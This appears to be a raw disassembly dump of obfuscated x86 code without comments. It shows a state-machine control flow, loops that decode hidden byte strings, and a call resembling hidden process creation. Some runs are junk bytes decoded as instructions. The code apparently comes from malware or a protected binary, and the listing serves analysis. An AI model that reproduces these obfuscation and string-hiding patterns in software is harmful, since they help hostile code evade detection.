add ecx, 1
jmp 0x41749b
mov ecx, dword [esi + 0x2a4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00409fe0
add esp, 8
mov ecx, dword [esi + 0xa8]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00409fe0
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0xbd7cc0c6
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0xd6be2102
jmp 0x418c0e
mov eax, dword [esi + 0xa8]
sub esp, 4
mov dword [esp], eax
call fcn.004083f0
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0xd6fbb783
jmp 0x418c0e
mov eax, 0x6234af5a
cmp dword [esi + 0xac], 1
jl 0x4175d8
mov eax, 0xb3114cea
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x418c0e
mov eax, 0x18056b01
cmp dword [esi + 0xac], 2
jl 0x4175f5
mov eax, 0xb26985f0
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x418c0e
mov eax, 0xa35b89d
cmp dword [esi + 0xac], 2
je 0x417612
mov eax, 0x575b15f0
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x418c0e
mov eax, dword [esi + 0x28]
mov eax, dword [eax + 4]
mov dword [esi + 0x2fc], eax
mov al, byte [esi + 0x150]
mov byte [esi + 0x1dc], al
mov byte [esi + 0x58], 0x8b
mov byte [esi + 0x59], 0x8a
mov byte [esi + 0x5a], 0x8d
mov byte [esi + 0x5b], 0x8c
xor eax, eax
cmp eax, 4
jae 0x417cb3
mov cl, byte [esi + eax + 0x58]
mov byte [esi + 0x35], cl
movzx ebx, cl
mov edi, eax
shl edi, 1
and edi, 0x8e272dc4
mov edx, eax
xor edx, 0xc71396e2
add edx, edi
mov edi, edx
and edi, ebx
mov ecx, edi
and ecx, 2
xor ecx, 2
mov ebx, edi
and ebx, 0xfd
imul ebx, ecx
mov ecx, edi
and ecx, 2
or edi, 2
imul edi, ecx
add edi, ebx
sub edx, edi
add dl, byte [esi + 0x35]
add dl, 0x96
mov byte [esi + eax + 0x58], dl
mov ecx, eax
or ecx, 0x1ce69295
and eax, 1
add ecx, eax
add ecx, 0xe3196d6c
mov eax, ecx
jmp 0x417c49
mov edi, dword [esi + 0x58]
xor ebx, ebx
cmp ebx, dword [0x44f26c]
jb 0x417cc2
jmp 0x417d1a
mov eax, dword [0x44f270]
cmp dword [eax + ebx*8], 0x1b6183f2
sete cl
mov byte [esi + 0x3c], cl
test cl, 1
jne 0x417cdb
jmp 0x417d0d
mov eax, dword [eax + ebx*8 + 4]
cmp eax, edi
je 0x417d0d
mov ecx, dword [0x44f274]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov eax, dword [esi + 0x2fc]
mov dword [esp + 0xc], eax
call fcn.0043fac0
add esp, 0x10
test byte [esi + 0x3c], 1
je 0x417d15
jmp 0x417d1a
add ebx, 1
jmp 0x417cb8
mov eax, dword [esi + 0x28]
mov eax, dword [eax]
mov dword [esi + 0x2f8], eax
mov al, byte [esi + 0x14c]
mov byte [esi + 0x1e0], al
mov byte [esi + 0x54], 0x8b
mov byte [esi + 0x55], 0x8a
mov byte [esi + 0x56], 0x8d
mov byte [esi + 0x57], 0x8c
xor eax, eax
cmp eax, 4
jae 0x417dad
mov cl, byte [esi + eax + 0x54]
mov byte [esi + 0x36], cl
movzx ebx, cl
mov edi, eax
shl edi, 1
and edi, 0x8e272dc4
mov edx, eax
xor edx, 0xc71396e2
add edx, edi
mov edi, edx
and edi, ebx
mov ecx, edi
and ecx, 2
xor ecx, 2
mov ebx, edi
and ebx, 0xfd
imul ebx, ecx
mov ecx, edi
and ecx, 2
or edi, 2
imul edi, ecx
add edi, ebx
sub edx, edi
add dl, byte [esi + 0x36]
add dl, 0x96
mov byte [esi + eax + 0x54], dl
mov ecx, eax
or ecx, 0x1ce69295
and eax, 1
add ecx, eax
add ecx, 0xe3196d6c
mov eax, ecx
jmp 0x417d43
mov edi, dword [esi + 0x54]
xor ebx, ebx
cmp ebx, dword [0x44f26c]
jb 0x417dbc
jmp 0x417e14
mov eax, dword [0x44f270]
cmp dword [eax + ebx*8], 0x1b6183f2
sete cl
mov byte [esi + 0x3b], cl
test cl, 1
jne 0x417dd5
jmp 0x417e07
mov eax, dword [eax + ebx*8 + 4]
cmp eax, edi
je 0x417e07
mov ecx, dword [0x44f274]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov eax, dword [esi + 0x2f8]
mov dword [esp + 0xc], eax
call fcn.0043fac0
add esp, 0x10
test byte [esi + 0x3b], 1
je 0x417e0f
jmp 0x417e14
add ebx, 1
jmp 0x417db2
mov eax, dword [esi + 4]
mov dword [eax], 0x7af09dd1
jmp 0x418c0e
mov eax, dword [esi + 8]
mov dword [esi + 0x390], eax
mov eax, dword [esi + 4]
mov dword [eax], 0x395970c8
jmp 0x418c0e
mov eax, dword [esi + 0x390]
sub esp, 4
mov dword [esp], eax
call fcn.0043d1b0
add esp, 4
mov eax, 0x727bbb4e
cmp dword [esi + 0x11c], 0
je 0x417e9b
mov eax, 0x6f74d54f
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0xff60fa33
jmp 0x418c0e
mov eax, dword [esi + 0xa4]
add eax, 1
mov dword [esi + 0x394], eax
mov eax, dword [esi + 4]
mov dword [eax], 0x1b121686
jmp 0x418c0e
mov eax, dword [esi + 0x80]
sub esp, 4
mov dword [esp], eax
call fcn.00401b90
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0xbf79960
jmp 0x418c0e
mov dword [0x8bc7d1fb], eax
xchg byte [eax + eax - 0x71750000], ah
add byte [eax], 0
add byte [ebx + 0xc8908ec], al
and al, 0x89
inc esp
and al, 4
call fcn.00401ba0
add esp, 8
mov dword [esi + 0x2e4], eax
mov cl, byte [esi + 0x30]
mov byte [esi + 0x160], cl
mov byte [esi + 0x90], 0x95
mov byte [esi + 0x91], 0x19
mov ecx, 2
mov byte [esi + ecx + 0x90], 0
add ecx, 1
cmp ecx, 7
jne 0x418023
xor edi, edi
cmp edi, 7
jae 0x418096
movzx eax, byte [esi + edi + 0x90]
mov dword [esi + 0x2d8], eax
mov edx, edi
add edx, 0xbd8ae406
mov ebx, 0xf9
sub ebx, edi
mov ecx, 0xf9
sub ecx, edi
mov eax, 0xf9
sub eax, edi
and ecx, eax
or ebx, ecx
mov eax, dword [esi + 0x2d8]
or edx, eax
xor eax, 0xffffffff
or ebx, eax
and edx, ebx
add edx, 0x4c498be1
mov eax, edx
shl eax, 1
and eax, 2
xor edx, 1
add edx, eax
mov byte [esi + edi + 0x90], dl
add edi, 1
jmp 0x418035
lea eax, [esi + 0x90]
sub esp, 0xc
mov ecx, dword [esi + 0x2e4]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 2
call fcn.00401b30
add esp, 0xc
mov eax, dword [esi + 4]
mov dword [eax], 0x56969137
jmp 0x418c0e
mov eax, dword [esi + 4]
mov dword [eax], 0x6fe942ff
jmp 0x418c0e
pop edi
adc dword [eax], edx
sahf
ror byte [eax], 1
out 0xf8, eax
stosb byte es:[edi], al
invalid
cwde
lahf
stosd dword es:[edi], eax
xchg esp, eax
mov dword [esp + 0x6a], eax
mov ecx, dword [esi + 0x250]
mov eax, dword [esi + 0x70]
mov cl, byte [ecx]
mov byte [esi + 0x198], cl
mov byte [eax], 0x62
mov byte [eax + 1], 0x4f
mov byte [eax + 2], 0xaa
mov byte [eax + 3], 0x51
mov byte [eax + 4], 0xbc
mov byte [eax + 5], 0x53
mov byte [eax + 6], 0xbe
mov byte [eax + 7], 0x55
mov byte [eax + 8], 0x54
mov byte [eax + 9], 0x57
mov ecx, 0xa
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 0x10
jne 0x4183a1
mov eax, dword [esi + 0x70]
mov dword [esi + 0xb4], eax
xor ecx, ecx
cmp ecx, 0x10
jae 0x418412
mov eax, dword [esi + 0xb4]
movzx edi, byte [eax + ecx]
mov ebx, ecx
add ebx, 0xf28f3f0d
xor ebx, edi
mov edi, ebx
and edi, 0xbc
mov eax, ebx
and eax, 2
xor eax, 2
mov edx, ebx
and edx, 0xbc
imul eax, edx
mov edx, ebx
and edx, 2
or edi, 2
imul edi, edx
add edi, eax
xor ebx, 0xbe
add ebx, 1
add ebx, edi
mov eax, dword [esi + 0xb4]
mov byte [eax + ecx], bl
add ecx, 1
jmp 0x4183b8
mov eax, dword [esi + 0x1c]
sub esp, 8
mov dword [esp], eax
mov eax, dword [esi + 0xb4]
mov dword [esp + 4], eax
call fcn.00419030
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0x78ae2ed8
jmp 0x418c0e
inc esi
inc edx
ret 0xf6a8
and byte [ebp - 0x79], al
test dword [eax - 0x746a78fe], eax
mov ss, word [edx + eax]
add byte [ebx + 0x98a7846], cl
mov byte [esi + 0x1a4], cl
mov byte [eax], 0x3a
mov byte [eax + 1], 1
mov byte [eax + 2], 0x9e
mov ecx, 3
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 5
jne 0x418521
mov eax, dword [esi + 0x78]
xor ecx, ecx
cmp ecx, 5
jae 0x41854c
mov dl, byte [eax + ecx]
mov dh, cl
add dh, 0x25
xor dh, dl
add dh, 0x47
mov byte [eax + ecx], dh
add ecx, 1
jmp 0x418532
mov ecx, dword [esi + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.004018b0
add esp, 8
mov ecx, dword [esi + 0x258]
mov eax, dword [esi + 0x9c]
mov cl, byte [ecx]
mov byte [esi + 0x1ac], cl
mov byte [eax], 0x33
mov byte [eax + 1], 5
mov byte [eax + 2], 0x8a
mov ecx, 3
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 8
jne 0x418585
mov eax, dword [esi + 0x9c]
xor ecx, ecx
cmp ecx, 8
jae 0x4185d6
movzx ebx, byte [eax + ecx]
mov edi, ecx
add edi, 0xafdf0a23
mov edx, ebx
xor edx, 0xffffffff
and edi, edx
mov edx, 0xdc
sub edx, ecx
and edx, ebx
or edx, edi
mov edi, edx
shl edi, 1
and edi, 2
xor edx, 1
add edx, 0xc
add edx, edi
add dl, 0x44
mov byte [eax + ecx], dl
add ecx, 1
jmp 0x418599
mov ecx, dword [esi + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.004018b0
add esp, 8
mov eax, dword [esi + 0xc]
sub esp, 4
mov dword [esp], eax
call fcn.00419080
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0x8e733b65
jmp 0x418c0e
push ebp
aad 0xcf
push 0xffffffffffffffab
push edx
cld
sub dword [ecx - 0x3e], eax
lds eax, [ecx + 0x5384972c]
mov eax, dword [esi + 0xa8]
sub esp, 4
mov dword [esp], eax
call fcn.004083f0
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0xa989fbe8
jmp 0x418c0e
mov gs, word fs:[ebp + edx*2 - 0x706141f6]
adc dword [ebp + 0x60a1537b], esi
inc esp
add byte [ebx + 0x48908ec], al
and al, 0xc7
inc esp
and al, 4
inc esi
aad 0x6e
out dx, eax
call fcn.00441930
add esp, 8
test eax, eax
setne cl
mov edi, dword [esi + 0x84]
mov ecx, dword [esi + 0x28]
mov edx, dword [esi + 0x7c]
xor ebx, ebx
sub esp, 0x28
mov dword [esp], 0
mov dword [esp + 4], edi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], ecx
call eax
mov eax, dword [esi + 4]
mov dword [eax], 0x68e6bbba
jmp 0x418c0e
rcl dword [ecx + 0x1e], cl
pop ecx
mov ah, 0x1e
fst qword [esi]
sbb byte [edx + 0x468b0c5a], cl
add al, 0xc7
add al, bl
salc
xor ebp, dword [ebx]
jmp 0x414464